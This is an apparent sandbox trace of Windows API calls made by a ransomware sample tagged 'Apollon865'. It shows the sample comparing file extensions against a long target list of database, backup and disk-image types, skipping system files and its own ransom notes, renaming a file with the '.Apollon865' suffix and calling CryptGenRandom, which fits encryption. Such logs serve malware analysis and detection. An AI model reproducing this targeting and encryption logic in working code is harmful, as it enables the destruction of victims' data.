	[0081.504] lstrlenW (lpString="his") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.504] lstrlenW (lpString="ib") returned 2
	[0081.504] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.504] lstrlenW (lpString="idb") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.504] lstrlenW (lpString="ihx") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.504] lstrlenW (lpString="itdb") returned 4
	[0081.504] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.504] lstrlenW (lpString="itw") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.504] lstrlenW (lpString="jet") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.504] lstrlenW (lpString="jtx") returned 3
	[0081.504] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.504] lstrlenW (lpString="kdb") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.505] lstrlenW (lpString="kexi") returned 4
	[0081.505] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.505] lstrlenW (lpString="kexic") returned 5
	[0081.505] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.505] lstrlenW (lpString="kexis") returned 5
	[0081.505] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.505] lstrlenW (lpString="lgc") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.505] lstrlenW (lpString="lwx") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.505] lstrlenW (lpString="maf") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.505] lstrlenW (lpString="maq") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.505] lstrlenW (lpString="mar") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.505] lstrlenW (lpString="marshal") returned 7
	[0081.505] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.505] lstrlenW (lpString="mas") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.505] lstrlenW (lpString="mav") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.505] lstrlenW (lpString="maw") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.505] lstrlenW (lpString="mdbhtml") returned 7
	[0081.505] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.505] lstrlenW (lpString="mdn") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.505] lstrlenW (lpString="mdt") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.505] lstrlenW (lpString="mfd") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.505] lstrlenW (lpString="mpd") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.505] lstrlenW (lpString="mrg") returned 3
	[0081.505] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.505] lstrlenW (lpString="mud") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.506] lstrlenW (lpString="mwb") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.506] lstrlenW (lpString="myd") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.506] lstrlenW (lpString="ndf") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.506] lstrlenW (lpString="nnt") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.506] lstrlenW (lpString="nrmlib") returned 6
	[0081.506] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.506] lstrlenW (lpString="ns2") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.506] lstrlenW (lpString="ns3") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.506] lstrlenW (lpString="ns4") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.506] lstrlenW (lpString="nsf") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.506] lstrlenW (lpString="nv") returned 2
	[0081.506] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.506] lstrlenW (lpString="nv2") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.506] lstrlenW (lpString="nwdb") returned 4
	[0081.506] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.506] lstrlenW (lpString="nyf") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.506] lstrlenW (lpString="odb") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.506] lstrlenW (lpString="odb") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.506] lstrlenW (lpString="oqy") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.506] lstrlenW (lpString="ora") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.506] lstrlenW (lpString="orx") returned 3
	[0081.506] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.507] lstrlenW (lpString="owc") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.507] lstrlenW (lpString="p96") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.507] lstrlenW (lpString="p97") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.507] lstrlenW (lpString="pan") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.507] lstrlenW (lpString="pdb") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.507] lstrlenW (lpString="pdm") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.507] lstrlenW (lpString="pnz") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.507] lstrlenW (lpString="qry") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.507] lstrlenW (lpString="qvd") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.507] lstrlenW (lpString="rbf") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.507] lstrlenW (lpString="rctd") returned 4
	[0081.507] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.507] lstrlenW (lpString="rod") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.507] lstrlenW (lpString="rodx") returned 4
	[0081.507] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.507] lstrlenW (lpString="rpd") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.507] lstrlenW (lpString="rsd") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.507] lstrlenW (lpString="sas7bdat") returned 8
	[0081.507] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.507] lstrlenW (lpString="sbf") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.507] lstrlenW (lpString="scx") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.507] lstrlenW (lpString="sdb") returned 3
	[0081.507] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.507] lstrlenW (lpString="sdc") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.508] lstrlenW (lpString="sdf") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.508] lstrlenW (lpString="sis") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.508] lstrlenW (lpString="spq") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.508] lstrlenW (lpString="te") returned 2
	[0081.508] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.508] lstrlenW (lpString="teacher") returned 7
	[0081.508] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.508] lstrlenW (lpString="tmd") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.508] lstrlenW (lpString="tps") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.508] lstrlenW (lpString="trc") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.508] lstrlenW (lpString="trc") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.508] lstrlenW (lpString="trm") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.508] lstrlenW (lpString="udb") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.508] lstrlenW (lpString="udl") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.508] lstrlenW (lpString="usr") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.508] lstrlenW (lpString="v12") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.508] lstrlenW (lpString="vis") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.508] lstrlenW (lpString="vpd") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.508] lstrlenW (lpString="vvv") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.508] lstrlenW (lpString="wdb") returned 3
	[0081.508] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.508] lstrlenW (lpString="wmdb") returned 4
	[0081.508] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.509] lstrlenW (lpString="wrk") returned 3
	[0081.509] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.509] lstrlenW (lpString="xdb") returned 3
	[0081.509] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.509] lstrlenW (lpString="xld") returned 3
	[0081.509] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.509] lstrlenW (lpString="xmlff") returned 5
	[0081.509] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.509] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.Apollon865") returned 82
	[0081.509] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.511] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.511] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=275808) returned 1
	[0081.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.511] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.513] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.513] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.513] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43860, lpName=0x0) returned 0x15c
	[0081.519] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43860) returned 0x210000
	[0081.656] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.657] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.657] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.657] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.657] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.657] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0081.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0081.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.658] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0081.660] CloseHandle (hObject=0x15c) returned 1
	[0081.661] CloseHandle (hObject=0x9c) returned 1
	[0081.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.662] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="..") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="windows") returned -1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="temp") returned -1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="boot") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.662] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0081.663] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0081.663] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0081.663] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned 71
	[0081.663] lstrcpyW (in: lpString1=0x119e670, lpString2="PUB6INTL.DLL.trx_dll" | out: lpString1="PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll"
	[0081.663] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0081.663] lstrlenW (lpString="Apollon865") returned 10
	[0081.663] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0081.663] lstrlenW (lpString=".dll") returned 4
	[0081.663] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0081.663] lstrlenW (lpString=".lnk") returned 4
	[0081.663] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0081.663] lstrlenW (lpString=".ini") returned 4
	[0081.663] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0081.663] lstrlenW (lpString=".sys") returned 4
	[0081.663] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0081.663] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0081.663] lstrlenW (lpString="bak") returned 3
	[0081.663] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.663] lstrlenW (lpString="ba_") returned 3
	[0081.663] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.663] lstrlenW (lpString="dbb") returned 3
	[0081.663] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.663] lstrlenW (lpString="vmdk") returned 4
	[0081.663] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.663] lstrlenW (lpString="rar") returned 3
	[0081.663] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.663] lstrlenW (lpString="zip") returned 3
	[0081.663] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.663] lstrlenW (lpString="tgz") returned 3
	[0081.663] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.663] lstrlenW (lpString="vbox") returned 4
	[0081.663] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.663] lstrlenW (lpString="vdi") returned 3
	[0081.663] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.663] lstrlenW (lpString="vhd") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.664] lstrlenW (lpString="vhdx") returned 4
	[0081.664] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.664] lstrlenW (lpString="avhd") returned 4
	[0081.664] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.664] lstrlenW (lpString="db") returned 2
	[0081.664] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.664] lstrlenW (lpString="db2") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.664] lstrlenW (lpString="db3") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.664] lstrlenW (lpString="dbf") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.664] lstrlenW (lpString="mdf") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.664] lstrlenW (lpString="mdb") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.664] lstrlenW (lpString="sql") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.664] lstrlenW (lpString="sqlite") returned 6
	[0081.664] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.664] lstrlenW (lpString="sqlite3") returned 7
	[0081.664] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.664] lstrlenW (lpString="sqlitedb") returned 8
	[0081.664] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.664] lstrlenW (lpString="xml") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.664] lstrlenW (lpString="$er") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.664] lstrlenW (lpString="4dd") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.664] lstrlenW (lpString="4dl") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.664] lstrlenW (lpString="^^^") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.664] lstrlenW (lpString="abs") returned 3
	[0081.664] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.664] lstrlenW (lpString="abx") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.665] lstrlenW (lpString="accdb") returned 5
	[0081.665] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.665] lstrlenW (lpString="accdc") returned 5
	[0081.665] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.665] lstrlenW (lpString="accde") returned 5
	[0081.665] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.665] lstrlenW (lpString="accdr") returned 5
	[0081.665] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.665] lstrlenW (lpString="accdt") returned 5
	[0081.665] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.665] lstrlenW (lpString="accdw") returned 5
	[0081.665] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.665] lstrlenW (lpString="accft") returned 5
	[0081.665] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.665] lstrlenW (lpString="adb") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.665] lstrlenW (lpString="adb") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.665] lstrlenW (lpString="ade") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.665] lstrlenW (lpString="adf") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.665] lstrlenW (lpString="adn") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.665] lstrlenW (lpString="adp") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.665] lstrlenW (lpString="alf") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.665] lstrlenW (lpString="ask") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.665] lstrlenW (lpString="btr") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.665] lstrlenW (lpString="cat") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.665] lstrlenW (lpString="cdb") returned 3
	[0081.665] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.666] lstrlenW (lpString="ckp") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.666] lstrlenW (lpString="cma") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.666] lstrlenW (lpString="cpd") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.666] lstrlenW (lpString="dacpac") returned 6
	[0081.666] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.666] lstrlenW (lpString="dad") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.666] lstrlenW (lpString="dadiagrams") returned 10
	[0081.666] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0081.666] lstrlenW (lpString="daschema") returned 8
	[0081.666] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.666] lstrlenW (lpString="db-journal") returned 10
	[0081.666] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0081.666] lstrlenW (lpString="db-shm") returned 6
	[0081.666] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.666] lstrlenW (lpString="db-wal") returned 6
	[0081.666] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.666] lstrlenW (lpString="dbc") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.666] lstrlenW (lpString="dbs") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.666] lstrlenW (lpString="dbt") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.666] lstrlenW (lpString="dbv") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.666] lstrlenW (lpString="dbx") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.666] lstrlenW (lpString="dcb") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.666] lstrlenW (lpString="dct") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.666] lstrlenW (lpString="dcx") returned 3
	[0081.666] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.666] lstrlenW (lpString="ddl") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.667] lstrlenW (lpString="dlis") returned 4
	[0081.667] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.667] lstrlenW (lpString="dp1") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.667] lstrlenW (lpString="dqy") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.667] lstrlenW (lpString="dsk") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.667] lstrlenW (lpString="dsn") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.667] lstrlenW (lpString="dtsx") returned 4
	[0081.667] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.667] lstrlenW (lpString="dxl") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.667] lstrlenW (lpString="eco") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.667] lstrlenW (lpString="ecx") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.667] lstrlenW (lpString="edb") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.667] lstrlenW (lpString="epim") returned 4
	[0081.667] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.667] lstrlenW (lpString="fcd") returned 3
	[0081.667] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.667] lstrlenW (lpString="fdb") returned 3
